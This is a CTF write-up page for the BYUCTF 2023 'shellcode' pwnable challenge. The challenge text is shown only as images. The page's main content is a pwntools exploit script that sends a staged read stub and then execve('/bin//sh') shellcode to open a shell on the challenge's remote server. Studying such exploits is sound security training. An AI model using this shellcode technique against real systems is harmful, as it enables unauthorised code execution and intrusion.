> For the complete documentation index, see [llms.txt](https://ctf-achievement.gitbook.io/pwnable/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctf-achievement.gitbook.io/pwnable/pwn/ret2shellcode/shellcode-byuctf-2023.md).

# shellcode BYUCTF 2023

## Challenge

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FfKEdNMdp13AwOZeTjV7M%2Fimage.png?alt=media&amp;token=feeaf7d1-cd5b-47f3-ac64-e216338e61b0" alt=""><figcaption></figcaption></figure>

### Phần mấu chốt của bài:

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FukR9g2ZHhe6XXItqBwbq%2Fimage.png?alt=media&amp;token=a12d28fa-67f1-4e3b-836a-c6553cf8538b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://874207988-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fh6QOMVWOJ0e4ORVhGo50%2Fuploads%2FBH2rfWfwvrhZMcV1vDS7%2Fimage.png?alt=media&amp;token=4c7d26ac-0a3e-4f9e-8b53-43fd8211efc3" alt=""><figcaption></figcaption></figure>

## Solution&#x20;

```python
from pwn import *

elf = context.binary = ELF("./shellcode")
r = elf.process()
r = remote("byuctf.xyz", 40017)
#gdb.attach(r,'''b*main+341\nc\nb*0x777777000\nc''')
r.sendlineafter(b"Enter first 10 bytes of shellcode:", b"\x48\x89\xD6\x0F\x05")  #0x7fffffffde90 : mov [rsp] --> rdx : execve sys_read
r.sendlineafter(b"Enter second 10 bytes of shellcode:", b"\x00") #<--- mov 10 byte to 0x777777000 + 20
r.sendlineafter(b"Enter third 10 bytes of shellcode:", b"\x00") #<--- mov 10 byte to 0x777777000 + 40
r.sendlineafter(b"Enter last 10 bytes of shellcode:", b"\x00") #<-- mov 10 byte to 0x777777000 + 60

shellcode = b"\x48\x31\xFF\x57\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x48\x31\xF6\x48\x31\xD2\x48\x89\xE7\x48\x31\xC0\x48\x83\xC0\x3B\x0F\x05"
payload = b"A" * 5 #<--- padding
payload += b"\x48\x31\xF6" #<--- clear [rsi]: 0x777777000
payload += shellcode #<--- sendshellcode to exploit
r.sendline(payload)
r.interactive()

```

## Source

{% file src="/files/l923g0w80mPkbNc1203w" %}
